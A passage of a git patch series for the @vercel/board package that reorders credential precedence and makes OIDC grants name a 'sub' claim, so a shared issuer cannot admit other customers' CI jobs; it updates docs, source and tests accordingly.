+2040,10 @@ const reply = await team.wait({ re: msg.id, after: msg.id }, { timeout: '30m' }) - **`board()` with no backend is the team's board in Vercel's API,** the one `name` names on the team `team` names, on `vercel()`, with `board({ fetch })`'s credentials when it's given. In Node they default to - the deployment's OIDC token, which nothing in the environment replaces, or else `BOARD_TOKEN`, then a - GitHub Actions job's OIDC token (both `ACTIONS_ID_TOKEN_REQUEST_URL` and `ACTIONS_ID_TOKEN_REQUEST_TOKEN` - set, audience `https://api.vercel.com/v1/messageboard`), sent as it is, then the - login a CLI hands it (`VERCEL_AUTH_TOKEN`) or your `vercel login`, never `VERCEL_TOKEN`. A CLI + the deployment's OIDC token, which nothing in the environment replaces, or else `BOARD_TOKEN`, then the + login a CLI hands it (`VERCEL_AUTH_TOKEN`), then a GitHub Actions job's OIDC token (both + `ACTIONS_ID_TOKEN_REQUEST_URL` and `ACTIONS_ID_TOKEN_REQUEST_TOKEN` set, audience + `https://api.vercel.com/v1/messageboard`), sent as it is, then your `vercel login`, never `VERCEL_TOKEN`. A CLI that embeds board's says who its commands run as: the login it gives (`createApp({ login })`, or `createApp({ token })` for one someone passed it for a run, as `vercel board --token`) is the one that goes, wherever that CLI runs, ahead of them all, so `vercel board` is you, as every `vercel` diff --git a/packages/board/docs/01-board/01-mounting.md b/packages/board/docs/01-board/01-mounting.md index 55cffa480..2607e9583 100644 --- a/packages/board/docs/01-board/01-mounting.md +++ b/packages/board/docs/01-board/01-mounting.md @@ -63,10 +63,9 @@ on any backend, and the backend stores. SSE, [the handle](#the-handle), - **It acts as this deployment, or as you.** In a Vercel deployment it sends the deployment's OIDC token and writes as its project, `vercel:project:prj_x:production`. Nothing replaces that token there. Elsewhere it - sends `BOARD_TOKEN`, or else in GitHub Actions the job's OIDC token (it - writes as `github:repo:`, on the team `VERCEL_ORG_ID` or - `team` names), or else your Vercel CLI login (`VERCEL_AUTH_TOKEN`, or - `vercel login`'s), and writes as whoever that is. It never sends + sends `BOARD_TOKEN`, or else `VERCEL_AUTH_TOKEN`, or else in GitHub Actions + the job's OIDC token (it writes as `github:repo:`, on the team + `VERCEL_ORG_ID` or `team` names), or else your `vercel login`, and writes as whoever that is. It never sends `VERCEL_TOKEN`, which people set for other reasons. `fetch` sends other credentials. - **Only a deployment's own credentials register watchers.** Anyone else's (yours, an app's) answer 403 `watchers_need_project`, and @@ -110,7 +109,7 @@ backend: | Option | What it does | | --- | --- | | `backend` | `local()`, or your own. Default: your team's board in Vercel's API, the one `name` names, or in Node with `BOARD_URL` set, the board there, as [the handle](#a-handle-on-a-board-elsewhere) finds it | -| `fetch` | Without a `backend`: how requests reach Vercel's API, with credentials it takes. In Node it defaults to the deployment's OIDC token, or else `BOARD_TOKEN`, then a GitHub Actions job's OIDC token, then `VERCEL_AUTH_TOKEN` or your `vercel login`, never `VERCEL_TOKEN`. A board at `BOARD_URL` never gets it | +| `fetch` | Without a `backend`: how requests reach Vercel's API, with credentials it takes. In Node it defaults to the deployment's OIDC token, or else `BOARD_TOKEN`, then `VERCEL_AUTH_TOKEN`, then a GitHub Actions job's OIDC token, then your `vercel login`, never `VERCEL_TOKEN`. A board at `BOARD_URL` never gets it | | `name` | Which of the team's boards this is, by its name: `security`. Default: the team's default board. See [A board by its name](#a-board-by-its-name) | | `team` | Whose board this is: another team's, by its ID or slug, with `name` or without it for that team's default board. Default: the team the environment finds | | `authenticate` | Who a request is. Default `oidcTokens()` from `@vercel/board/access`, which verifies its bearer token for the board's URL. Or a host's own verifier, `(request) => ({ id, kind, handle })`: see [Callers of your own](#callers-of-your-own) | @@ -267,8 +266,8 @@ await team.post('deploys', 'www@a1b2c3 is live') In Node it finds the team and credentials as the Vercel CLI and a deployment do. The team is `VERCEL_ORG_ID`, the deployment's, or the nearest `.vercel/project.json`'s, unless `team` says another (`acme`). The -credentials are the deployment's OIDC token, or else `BOARD_TOKEN`, then a -GitHub Actions job's OIDC token, then `VERCEL_AUTH_TOKEN` or your +credentials are the deployment's OIDC token, or else `BOARD_TOKEN`, then +`VERCEL_AUTH_TOKEN`, then a GitHub Actions job's OIDC token, then your `vercel login`, or what `fetch` sends: a deployment writes as its project, a workflow as its repository's runs, and you as yourself. A GitHub token names no team, so in Actions `team` or `VERCEL_ORG_ID` names it. Its profile is the one `BOARD_PROFILE` names, or none; diff --git a/packages/board/docs/03-guides/03-ci.md b/packages/board/docs/03-guides/03-ci.md index 7ebbd69b6..28e0f5344 100644 --- a/packages/board/docs/03-guides/03-ci.md +++ b/packages/board/docs/03-guides/03-ci.md @@ -218,8 +218,8 @@ It writes as `oidc::`, here On the team's board in Vercel's API, `vercel board` sends your Vercel login when there is one. With none, as on a runner, board looks for a token in this -order: the deployment's OIDC token, `BOARD_TOKEN`, GitHub Actions, then a -`vercel login`. For a board at `BOARD_URL`, `vb` looks in this order: +order: the deployment's OIDC token, `BOARD_TOKEN`, `VERCEL_AUTH_TOKEN`, GitHub +Actions, then a `vercel login`. For a board at `BOARD_URL`, `vb` looks in this order: `BOARD_TOKEN`, a local board's (`vb serve`), GitHub Actions, the Vercel runtime, then your `vercel login`. See [Identity](../01-board/03-identity.md) for how each one maps to a principal. diff --git a/packages/board/docs/04-reference/01-cli.md b/packages/board/docs/04-reference/01-cli.md index 7c857c3d3..b097c3a22 100644 --- a/packages/board/docs/04-reference/01-cli.md +++ b/packages/board/docs/04-reference/01-cli.md @@ -97,8 +97,8 @@ With no board URL anywhere, it talks to your team's board in Vercel's API: login's default team. `--scope ` picks another, by its slug or ID. It reads and writes as the login the CLI that runs it gives it. Given none, it finds its credentials as `vb` does: a deployment's own token, or else -`BOARD_TOKEN`, or else a GitHub Actions job's OIDC token, or else you, with -`VERCEL_AUTH_TOKEN` or `vercel login`'s. It never sends `VERCEL_TOKEN`. +`BOARD_TOKEN`, or else `VERCEL_AUTH_TOKEN`, or else a GitHub Actions job's +OIDC token, or else your `vercel login`. It never sends `VERCEL_TOKEN`. ### In-process, on a handle diff --git a/packages/board/src/backend-vercel/index.ts b/packages/board/src/backend-vercel/index.ts index b46ae613c..71e51bf77 100644 --- a/packages/board/src/backend-vercel/index.ts +++ b/packages/board/src/backend-vercel/index.ts @@ -1,6 +1,6 @@ // Your team's board in Vercel's API, internal: board()'s default backend, and the CLI's. In Node, it finds credentials the way -// a deployment and the Vercel CLI do: the deployment's OIDC token, or else `BOARD_TOKEN`, a GitHub Actions job's OIDC token, -// or your login. Never `VERCEL_TOKEN`, a name people set for other reasons, and nothing in the environment replaces a +// a deployment and the Vercel CLI do: the deployment's OIDC token, or else `BOARD_TOKEN`, `VERCEL_AUTH_TOKEN`, a GitHub +// Actions job's OIDC token, or your `vercel login`. Never `VERCEL_TOKEN`, a name people set for other reasons, and nothing in the environment replaces a // deployment's own token: only the login of an app that runs board's CLI goes ahead of it, since the app says who its commands run as. import { readFile } from 'node:fs/promises' import { getVercelOidcToken, getVercelToken } from '@vercel/oidc' @@ -20,8 +20,11 @@ const asDeployment = () => !appLogin() && (process.env.VERCEL === '1' || !!proce /** Off a deployment, a credential Vercel's API takes, set for board: what a sandbox or CI passes. Not ahead of an app's login either. */ const boardToken = () => (appLogin() || asDeployment() ? null : process.env.BOARD_TOKEN || null) -/** Whether a GitHub Actions job's own OIDC token goes: in a job that may ask for one, with nothing above to send. */ -const asGithubActions = () => !appLogin() && !asDeployment() && !boardToken() && inGithubActions() +/** + * Whether a GitHub Actions job's own OIDC token goes: in a job that may ask for one, with nothing above to send. + * A `VERCEL_AUTH_TOKEN` the workflow sets goes ahead of it: `id-token: write` is often there for something else. + */ +const asGithubActions = () => !appLogin() && !asDeployment() && !boardToken() && !process.env.VERCEL_AUTH_TOKEN && inGithubActions() /** Whether what goes is a Vercel login: an app's, or with nothing else to send, yours. */ const asLogin = () => !asDeployment() && !boardToken() && !asGithubActions() @@ -61,8 +64,8 @@ function githubToken(): Promise { /** * A token Vercel's API takes: the login of the app that runs board's CLI, when it gave one (the * token it was passed, as `vercel board --token`, or else its own), or else this deployment's OIDC - * token, or else `BOARD_TOKEN`, or else a GitHub Actions job's OIDC token, or your Vercel login: - * `VERCEL_AUTH_TOKEN`, or your `vercel login`. + * token, or else `BOARD_TOKEN`, or else `VERCEL_AUTH_TOKEN`, or else a GitHub Actions job's OIDC + * token, or your `vercel login`. */ async function token(): Promise { if (asDeployment()) return getVercelOidcToken() diff --git a/packages/board/test/vercel-github-actions.test.ts b/packages/board/test/vercel-github-actions.test.ts index 902064f3d..4241b93ff 100644 --- a/packages/board/test/vercel-github-actions.test.ts +++ b/packages/board/test/vercel-github-actions.test.ts @@ -69,8 +69,7 @@ describe("a GitHub Actions job on Vercel's board", () => { const api = fakeMessageboard({ tokens: { [RUN]: 'github:repo:700001' } }) const { asked, sent, request } = inActions(api) vi.stubEnv('VERCEL_ORG_ID', 'team_test') - // A login the Vercel CLI left in the environment is below it, and so is the host's fetch for that login. - vi.stubEnv('VERCEL_AUTH_TOKEN', 'user:u_ada') + // The host's fetch for a login is below it. const host = vi.fn(as(api, 'user:u_ada')) handFetch(host) const team = board({ backend: nodeVercel() }) @@ -83,7 +82,7 @@ describe("a GitHub Actions job on Vercel's board", () => { expect(host).not.toHaveBeenCalled() }) - it('sends it only when nothing ahead of it applies: an app\'s login, the deployment\'s token, or BOARD_TOKEN', async () => { + it('sends it only when nothing ahead of it applies: an app\'s login, the deployment\'s token, BOARD_TOKEN, or VERCEL_AUTH_TOKEN', async () => { const api = fakeMessageboard({ tokens: { [RUN]: 'github:repo:700001', [DEPLOYMENT]: 'project:prj_pong:production', k7Qe2mXa9vLp: 'user:u_bo' } }) const { asked } = inActions(api) vi.stubEnv('VERCEL_ORG_ID', 'team_test') @@ -103,8 +102,12 @@ describe("a GitHub Actions job on Vercel's board", () => { vi.stubEnv('VERCEL_OIDC_TOKEN', '') vi.stubEnv('BOARD_TOKEN', '') expect([await principal(), credentialSource()]).toEqual(['vercel:user:u_ada', 'the Vercel CLI']) - expect(asked).toEqual([]) handLogin(null) + // A login the workflow sets is its choice, while id-token: write is often there for something else. + vi.stubEnv('VERCEL_AUTH_TOKEN', 'user:u_ada') + expect([await principal(), credentialSource()]).toEqual(['vercel:user:u_ada', 'the Vercel CLI']) + expect(asked).toEqual([]) + vi.stubEnv('VERCEL_AUTH_TOKEN', '') expect([await principal(), credentialSource()]).toEqual(['github:repo:700001', 'GitHub Actions OIDC']) }) From 980bb849925f6bfb9c37a682589e17e75e795cbc Mon Sep 17 00:00:00 2001 From: Julian Benegas Date: Fri, 20 Nov 2026 13:02:40 -0300 Subject: [PATCH 10/12] feat(grants): name an OIDC workload by its sub An issuer like GitLab.com signs tokens for every customer it serves under one iss, so a grant for a claim like ref=main let in anyone's job. sub is unique within an issuer and never reassigned, so every oidc grant names one: exact, or a prefix whose * follows a : or /. Removals don't need one, so an older grant can still be taken apart. --- .changeset/oidc-grants-name-sub.md | 5 ++ SPEC.md | 10 +++- packages/board/docs/01-board/09-access.md | 13 ++++- packages/board/docs/03-guides/03-ci.md | 14 +++-- packages/board/docs/04-reference/01-cli.md | 11 +++- packages/board/docs/04-reference/03-http.md | 7 ++- packages/board/src/access/index.ts | 2 +- packages/board/src/cli/commands.ts | 4 +- packages/board/src/server/auth.ts | 27 ++++++--- packages/board/src/server/grants.ts | 17 +++++- packages/board/test/backend-vercel.test.ts | 10 +++- packages/board/test/backends.test.ts | 2 +- packages/board/test/channel-access.test.ts | 10 ++-- packages/board/test/cli-embedded.test.ts | 4 +- packages/board/test/cli-grants.test.ts | 20 +++++-- packages/board/test/grant-access.test.ts | 27 ++++++++- packages/board/test/grants.test.ts | 62 ++++++++++++++++++--- packages/board/test/messageboard-grants.ts | 24 +++++++- 18 files changed, 212 insertions(+), 57 deletions(-) create mode 100644 .changeset/oidc-grants-name-sub.md diff --git a/.changeset/oidc-grants-name-sub.md b/.changeset/oidc-grants-name-sub.md new file mode 100644 index 000000000..378b4784b --- /dev/null +++ b/.changeset/oidc-grants-name-sub.md @@ -0,0 +1,5 @@ +--- +'@vercel/board': minor +--- + +An `oidc` grant names its tokens' `sub`: `vb grants create --oidc https://gitlab.com --claim 'sub=project_path:acme/api:*' --claim project_id=42 --can 'ci/=post'`. An issuer like GitLab.com signs tokens for everyone it serves, so a grant for `ref=main` let in anyone's job on main, and `sub` is the one claim that says whose a token is. A `sub` that ends in `*` right after a `:` or `/` matches how one starts, so `project_path:acme/api:*` is any job in `acme/api` and none in `acme/api-evil`. A grant without a `sub`, with `sub` `*`, or with a `*` anywhere else in it (`organization:acme*`) is 400 `invalid_grant`; other claims still match exactly and narrow it, and a `*` in them is just a `*`. Grants made before still let in what they did, and a principal without a `sub` can still be removed from one. `subPrefix` from `@vercel/board/access` says what a `sub` pattern matches the start of. diff --git a/SPEC.md b/SPEC.md index 31a30f9b8..c4fc0847b 100644 --- a/SPEC.md +++ b/SPEC.md @@ -664,7 +664,11 @@ talking to. - **Any other issuer** is trusted only when a grant names it, as an https URL: board() hands its grants' issuers to its verifier (`board.issuers`). The board fetches keys only for issuers a grant names, and an `oidc` principal - matches exact claims, at least one. Its principal is `oidc::`, + matches exact claims, `sub` among them: an issuer signs tokens for everyone + it serves, and its `sub` is the one claim that says whose a token is. A + `sub` that ends in `*` right after a `:` or `/` matches how one starts + (`project_path:acme/api:*`), and a `*` anywhere else in it is refused. + Its principal is `oidc::`, with a `:` or `%` in the issuer part percent-encoded (`oidc:ci.test%3A8443:`), so the ID ends its issuer at the first `:`. - **Tests** pass `board({ authenticate: oidcTokens(testIssuers) })` in code, @@ -680,7 +684,7 @@ const team = board({ backend: local() }) await team.createGrant({ principals: [{ kind: 'project', project: 'prj_front', environments: ['production'] }], can: { 'feedback/': ['post'] } }) await team.createGrant({ principals: [{ kind: 'github', repository: 'acme/web', event: 'push' }], can: { 'ci/': ['read', 'post'] } }) -await team.createGrant({ principals: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_id: '42' } }], can: { 'ci/': ['post'] } }) +await team.createGrant({ principals: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { sub: 'project_path:acme/api:*', project_id: '42' } }], can: { 'ci/': ['post'] } }) // On a production board, its own previews read dev/. await team.createGrant({ principals: [{ kind: 'project', project: 'prj_self', environments: ['preview'] }], can: { 'dev/': ['read'] } }) ``` @@ -905,7 +909,7 @@ await team.revokeGrant(grant.id) - **Principals.** `user` (a person on the team), `project` (a project's deployments in its environments), `github` (Actions runs in a repository, narrowed by workflow, branch, or event), - and `oidc` (an issuer's tokens carrying every claim it names) are one + and `oidc` (an issuer's tokens carrying every claim it names, `sub` always) are one principal each, and so is `app` (an app on the team, named by slug or client ID and kept by client ID). `all-users` (every person on the team), `all-projects` (every project on the board's team, in production, preview, diff --git a/packages/board/docs/01-board/09-access.md b/packages/board/docs/01-board/09-access.md index 319fd004e..b4310ae81 100644 --- a/packages/board/docs/01-board/09-access.md +++ b/packages/board/docs/01-board/09-access.md @@ -92,7 +92,7 @@ deployments. | `vb grants create --everyone --can 'attic/=none' --lock-me-out` | `team.createGrant({ principals: [{ kind: 'everyone' }], can: { 'attic/': 'none' } }, { lockMeOut: true })` | | `vb grants create --project sec --environment production,preview --can 'security/=read,post'` | `team.createGrant({ principals: [{ kind: 'project', project: 'sec', environments: ['production', 'preview'] }], can: { 'security/': ['read', 'post'] } })` | | `vb grants create --github acme/web --workflow ci.yml --git-branch main --can 'ci/=post'` | `team.createGrant({ principals: [{ kind: 'github', repository: 'acme/web', workflow: 'ci.yml', branch: 'main' }], can: { 'ci/': ['post'] } })` | -| `vb grants create --oidc https://gitlab.com --claim project_id=42 --can 'ci/=post'` | `team.createGrant({ principals: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_id: '42' } }], can: { 'ci/': ['post'] } })` | +| `vb grants create --oidc https://gitlab.com --claim 'sub=project_path:acme/api:*' --claim project_id=42 --can 'ci/=post'` | `team.createGrant({ principals: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { sub: 'project_path:acme/api:*', project_id: '42' } }], can: { 'ci/': ['post'] } })` | | `vb grants create --app ship --can 'ship/=post'` | `team.createGrant({ principals: [{ kind: 'app', app: 'ship' }], can: { 'ship/': ['post'] } })` | | `vb grants update g5 --add-user carol@acme.com` | `team.updateGrant('g5', { add: [{ kind: 'user', email: 'carol@acme.com' }] })` | | `vb grants update g6 --remove-project sec --can 'security/=read'` | `team.updateGrant('g6', { remove: [{ kind: 'project', project: 'sec' }], can: { 'security/': ['read'] } })` | @@ -105,7 +105,7 @@ deployments. | `user` | a person on the team, by `email`, or by `userId` on a board that verifies tokens itself | one principal | | `project` | a project's deployments in its `environments`, by name or ID (`prj_…`) | one principal | | `github` | GitHub Actions runs in a `repository`, narrowed by `workflow`, `branch`, or `event` | one principal | -| `oidc` | an `issuer`'s tokens that carry every one of its `claims` | one principal | +| `oidc` | an `issuer`'s tokens that carry every one of its `claims`, `sub` among them | one principal | | `all-users` | every person on the team | a group | | `all-projects` | every project's deployments on the board's team, in its `environments` | a group | | `app` | an app on the team, by its slug or client ID (`clientId` on a board that verifies tokens itself) | one principal | @@ -181,6 +181,15 @@ more specific pattern decides first. `jwks_uri` that's an https URL on the internet, and no redirect is followed. Every claim must match exactly, and a list is any of its values. Vercel's and GitHub's issuers have kinds of their own. +- **An `oidc` principal names a `sub`.** An issuer such as GitLab.com signs + tokens for everyone it serves, so a claim like `ref=main` lets in anyone's + job on main. Its `sub` is the one claim unique to a workload, so a grant + names it, and other claims narrow it further. A `sub` that ends in `*` right + after a `:` or `/` matches how one starts: `project_path:acme/api:*` is any + job in `acme/api`, and not one in `acme/api-evil`. A `*` anywhere else in a + `sub` is refused, `*` alone too, and in any other claim it's just a `*`. + A grant made before boards asked for a `sub` still lets in what it did, + and a principal without one can still be removed from it. - **The same principals again are another grant.** Change one by its ID: `updateGrant(id, { add, remove, can })` adds principals, removes them by who they are (a project whatever its environments), and replaces its `can`. diff --git a/packages/board/docs/03-guides/03-ci.md b/packages/board/docs/03-guides/03-ci.md index 28e0f5344..59b259ec8 100644 --- a/packages/board/docs/03-guides/03-ci.md +++ b/packages/board/docs/03-guides/03-ci.md @@ -190,14 +190,20 @@ project or a caller a grant lets in. Discovery tells you the audience: curl -s https://team.example/api/board | jq -r .audience ``` -Another CI's tokens work through a grant that names its issuer by URL, with -the claims to match, each exactly: +Another CI's tokens work through a grant that names its issuer by URL and +the `sub` of the jobs to let in, with any other claims to match, each exactly. +An issuer like GitLab.com signs tokens for everyone it serves, and only `sub` +says whose a token is, so a grant always names one. A `sub` that ends in `*` +right after a `:` or `/` matches how one starts, here any job in `acme/api`: ```text -$ vercel board grants create --oidc https://gitlab.com --claim project_path=acme/api --claim ref=main --can deploys=post -created g4 --oidc https://gitlab.com --claim project_path=acme/api --claim ref=main deploys=post +$ vercel board grants create --oidc https://gitlab.com --claim 'sub=project_path:acme/api:*' --claim project_id=42 --can deploys=post +created g4 --oidc https://gitlab.com --claim project_id=42 --claim sub=project_path:acme/api:* deploys=post ``` +`sub=project_path:acme/api:ref_type:branch:ref:main` is its jobs on main +alone. + In GitLab, a job's `id_tokens` with the board's audience is the token: ```yaml .gitlab-ci.yml diff --git a/packages/board/docs/04-reference/01-cli.md b/packages/board/docs/04-reference/01-cli.md index b097c3a22..486679208 100644 --- a/packages/board/docs/04-reference/01-cli.md +++ b/packages/board/docs/04-reference/01-cli.md @@ -595,7 +595,7 @@ A principal is a flag, and repeating flags names several: | `--user ` | a person on the team, or on a board [behind Tailscale](../03-guides/08-tailnet.md), by their login | | | `-p, --project ` | a project's deployments | `-e, --environment` | | `--github ` | GitHub Actions runs in a repository | `--workflow`, `--git-branch`, `--event` | -| `--oidc ` | an issuer's tokens | `--claim name=value` | +| `--oidc ` | an issuer's tokens | `--claim name=value`, `sub` always | | `--app ` | an app installed on the team | | | `--all-users` | every person on the team | | | `--all-projects` | every project's deployments on the team | `-e, --environment` | @@ -607,8 +607,13 @@ A modifier goes after the principal it's for, so one grant mixes them: `--environment` takes a comma-separated list and is `production` when left out. `--workflow` matches the run's workflow file (`ci.yml` is `.github/workflows/ci.yml`), `--git-branch` its `refs/heads/` branch, and -`--event` its event. `--can pattern=permissions` repeats; permissions are a -comma-separated list, `all`, or `none`. A board that verifies tokens itself, +`--event` its event. `--oidc` takes a `--claim sub=…`, since its issuer +signs tokens for everyone it serves and only `sub` says whose a token is: +exact, or ending in `*` right after a `:` or `/` to match how one starts, as +`--claim 'sub=project_path:acme/api:*' --claim project_id=42` does for GitLab +(quoted, so the shell leaves the `*`). Its other claims narrow it, and a +repeated claim is any of its values. `--can pattern=permissions` repeats; +permissions are a comma-separated list, `all`, or `none`. A board that verifies tokens itself, as `vb serve` does, takes IDs: `--user u_123`, `--project prj_123`, and an app's client ID. diff --git a/packages/board/docs/04-reference/03-http.md b/packages/board/docs/04-reference/03-http.md index ceea10065..7f865bdbf 100644 --- a/packages/board/docs/04-reference/03-http.md +++ b/packages/board/docs/04-reference/03-http.md @@ -576,7 +576,12 @@ show `{ kind: 'user', userId, email }`, `{ kind: 'project', projectId, name, environments }`, and `{ kind: 'github', repositoryId, repository, … }`. One that verifies tokens itself takes a user's ID and a project's `prj_…`, and answers 400 `invalid_grant` for a name, as for a principal that would name -more than it says. See [how grants combine](../01-board/09-access.md#how-grants-combine). +more than it says. An `oidc` principal's `claims` name a `sub`, since its +issuer signs tokens for everyone it serves: exact, or ending in `*` right +after a `:` or `/` to match how one starts (`project_path:acme/api:*`), and +others narrow it. Without one, or with a `*` anywhere else in it, it's 400 +`invalid_grant`, except to remove it from a grant. See +[how grants combine](../01-board/09-access.md#how-grants-combine). ### Schemas diff --git a/packages/board/src/access/index.ts b/packages/board/src/access/index.ts index fb760bf30..fa7dcf6e7 100644 --- a/packages/board/src/access/index.ts +++ b/packages/board/src/access/index.ts @@ -34,4 +34,4 @@ export { type GrantChangeRefusal, type GrantShape, } from '../server/access.ts' -export { explainGrants, grantAccess, type Caller, type DecidingGrant, type GrantExplanation, type GrantFacts, type GrantSource } from '../server/grants.ts' +export { explainGrants, grantAccess, subPrefix, type Caller, type DecidingGrant, type GrantExplanation, type GrantFacts, type GrantSource } from '../server/grants.ts' diff --git a/packages/board/src/cli/commands.ts b/packages/board/src/cli/commands.ts index 8db096b6b..0b23f858b 100644 --- a/packages/board/src/cli/commands.ts +++ b/packages/board/src/cli/commands.ts @@ -122,7 +122,7 @@ export const options = { workflow: { type: 'string', multiple: true, value: 'file', description: "its --github's workflow, e.g. ci.yml" }, 'git-branch': { type: 'string', multiple: true, value: 'branch', description: "its --github's branch" }, event: { type: 'string', multiple: true, value: 'event', description: "its --github's event, e.g. push" }, - claim: { type: 'string', multiple: true, value: 'k=v', description: "a claim its --oidc's tokens carry" }, + claim: { type: 'string', multiple: true, value: 'k=v', description: "a claim its --oidc's tokens carry: sub always, ending in :* or /* to match how it starts" }, 'add-user': { type: 'string', multiple: true, value: 'email', description: 'add a person' }, 'add-project': { type: 'string', multiple: true, value: 'name|id', description: "add a project's deployments" }, 'add-github': { type: 'string', multiple: true, value: 'owner/repo', description: "add a repository's runs" }, @@ -244,7 +244,7 @@ export const commands: readonly (CliCommand & { readonly group: (typeof groups)[ { name: 'several grants in one write, from a file', value: 'grants create --file grants.json' }, { name: "a project's production and previews", value: "grants create --project sec --environment production,preview --can 'security/=read,post'" }, { name: "two repositories' workflows", value: "grants create --github acme/web --workflow ci.yml --git-branch main --github acme/api --workflow deploy.yml --can 'ci/=post'" }, - { name: "another issuer's tokens", value: "grants create --oidc https://gitlab.com --claim project_id=42 --can 'ci/=post'" }, + { name: "another issuer's tokens, by their sub", value: "grants create --oidc https://gitlab.com --claim 'sub=project_path:acme/api:*' --claim project_id=42 --can 'ci/=post'" }, ], }, { diff --git a/packages/board/src/server/auth.ts b/packages/board/src/server/auth.ts index f85b08599..6bdbda891 100644 --- a/packages/board/src/server/auth.ts +++ b/packages/board/src/server/auth.ts @@ -2,7 +2,7 @@ import type { JWTVerifyGetKey } from 'jose' import type { PrincipalInput } from '../api/routes.ts' import { compileAccess, FULL_ACCESS, parseCan, writtenCan, type Access, type Can, type WrittenCan } from './access.ts' import { badRequest, forbidden, HttpError, unauthorized } from './errors.ts' -import { admits, grantAccess, type GrantFacts, type GrantSource } from './grants.ts' +import { admits, grantAccess, subPrefix, type GrantFacts, type GrantSource } from './grants.ts' /** * What a request says about who's calling, beside its credential: labels the caller picks for @@ -207,10 +207,15 @@ function checkIssuer(issuer: string, trusted: readonly string[]) { if (other !== undefined) throw invalidGrant(`issuers ${other} and ${issuer} name the same principals, oidc:${name}:: use ${other}`) } -/** An issuer's claims, keys and lists sorted: at least one, since an issuer signs tokens for everyone it serves. */ -function checkClaims(issuer: string, given: Readonly>): Record { +/** + * An issuer's claims, keys and lists sorted. They name a `sub`, exact or a pattern `subPrefix` + * takes: an issuer signs tokens for everyone it serves, and only `sub` says whose a token is. A + * removal is checked for neither, so a principal stored without one can still be taken out. + */ +function checkClaims(issuer: string, given: Readonly>, removal: boolean): Record { const entries = typeof given === 'object' && given !== null ? Object.entries(given) : [] - if (entries.length === 0) throw invalidGrant(`name at least one claim for ${issuer}: its issuer signs tokens for everyone it serves`) + if (!removal && !entries.some(([name]) => name === 'sub')) + throw invalidGrant(`name a sub for ${issuer}, like project_path:acme/api:*: it signs tokens for everyone it serves, and only a sub says whose a token is`) if (entries.length > GRANT_CLAIMS_MAX) throw invalidGrant(`an oidc principal names at most ${GRANT_CLAIMS_MAX} claims`) const claims: Record = {} for (const [name, value] of entries.sort(([a], [b]) => a.localeCompare(b))) { @@ -219,6 +224,9 @@ function checkClaims(issuer: string, given: Readonly GRANT_VALUES_MAX || values.some((one) => (one as string).length > GRANT_VALUE_MAX)) throw invalidGrant(`claim ${name} lists at most ${GRANT_VALUES_MAX} values of up to ${GRANT_VALUE_MAX} characters`) + const wild = name === 'sub' && !removal ? (values as string[]).find((one) => one.includes('*') && subPrefix(one) === null) : undefined + if (wild === '*') throw invalidGrant(`sub * is everyone ${issuer} serves: name a sub, or how one starts, like project_path:acme/api:*`) + if (wild !== undefined) throw invalidGrant(`a sub's * goes last, right after a : or a /, like project_path:acme/api:*, got ${wild}`) const sorted = (values as string[]).sort() claims[name] = sorted.length === 1 ? sorted[0]! : sorted } @@ -238,10 +246,11 @@ export const workflowPath = (workflow: string) => (workflow.includes('/') ? work * A principal as a board that verifies tokens itself keeps it, or a 400 `invalid_grant` that says * what to write. Such a board has nothing to look a name up with, so it takes IDs: a user's ID, a * project's `prj_…`, and a repository's `owner/name`, which it matches on the token's claims. - * `removal`: one to take out of a grant, which names a project without its environments. `team`: the - * board's own team, which a project it names is kept on, so it no longer matches once it's moved to - * another; null where the board doesn't know it, and then a project is its ID on any team. `logins`: - * the board's verifier names people by their logins, so a user's email is its ID, with nothing to look up. + * `removal`: one to take out of a grant, which names a project without its environments, and an + * issuer's tokens without a `sub`. `team`: the board's own team, which a project it names is kept + * on, so it no longer matches once it's moved to another; null where the board doesn't know it, and + * then a project is its ID on any team. `logins`: the board's verifier names people by their + * logins, so a user's email is its ID, with nothing to look up. */ export function checkPrincipal(input: PrincipalInput, trusted: readonly string[], removal = false, team: string | null = null, logins = false): GrantPrincipal { switch (input.kind) { @@ -281,7 +290,7 @@ export function checkPrincipal(input: PrincipalInput, trusted: readonly string[] } case 'oidc': checkIssuer(input.issuer, trusted) - return { kind: 'oidc', issuer: input.issuer, claims: checkClaims(input.issuer, input.claims) } + return { kind: 'oidc', issuer: input.issuer, claims: checkClaims(input.issuer, input.claims, removal) } case 'app': if (!APP_ID.test(input.app)) throw invalidGrant(`an app is its client ID, letters, numbers, and ._-, got ${input.app}`) return { kind: 'app', clientId: input.app } diff --git a/packages/board/src/server/grants.ts b/packages/board/src/server/grants.ts index 9a976c7ea..27034ff5d 100644 --- a/packages/board/src/server/grants.ts +++ b/packages/board/src/server/grants.ts @@ -84,13 +84,28 @@ export function levelOf(principal: GrantPrincipal, facts: Pick { const value = caller.claims[name] if (value === undefined) return false - return typeof allowed === 'string' ? String(value) === allowed : allowed.includes(String(value)) + const given = String(value) + return (typeof allowed === 'string' ? [allowed] : allowed).some((one) => { + const prefix = name === 'sub' ? subPrefix(one) : null + return prefix === null ? given === one : given.startsWith(prefix) + }) }) ? 'principal' : null } } +/** + * What a `sub` pattern matches the start of: `project_path:acme/api:` for `project_path:acme/api:*`. + * Null for any other value, which matches exactly: a `*` only ends a pattern, right after a `:` or + * a `/`, so no pattern lets `acme-evil` in for `acme`. + */ +export function subPrefix(value: string): string | null { + if (!value.endsWith('*')) return null + const prefix = value.slice(0, -1) + return /[:/]$/.test(prefix) && !prefix.includes('*') ? prefix : null +} + const RANK: Record = { principal: 0, group: 1, everyone: 2 } /** The grants that name the caller, each as close as its closest principal; without `everyone`'s, when `own`. */ diff --git a/packages/board/test/backend-vercel.test.ts b/packages/board/test/backend-vercel.test.ts index 0adadad0f..04f80178c 100644 --- a/packages/board/test/backend-vercel.test.ts +++ b/packages/board/test/backend-vercel.test.ts @@ -3003,15 +3003,19 @@ describe('vercel()', () => { const jb = handleOn(api) const { grant } = await jb.createGrant({ principals: [{ kind: 'github', repository: 'acme/web', branch: 'main' }], can: { 'ci/': ['post'] } }) expect(grant.principals).toEqual([{ kind: 'github', repositoryId: '700001', repository: 'acme/web', branch: 'main' }]) - const issuer = { kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_path: 'acme/api' } } as const + const issuer = { kind: 'oidc', issuer: 'https://gitlab.com', claims: { sub: 'project_path:acme/api:*', project_id: '42' } } as const const updated = await jb.updateGrant(grant.id, { add: [issuer] }) expect(updated.grant.principals).toEqual([{ kind: 'github', repositoryId: '700001', repository: 'acme/web', 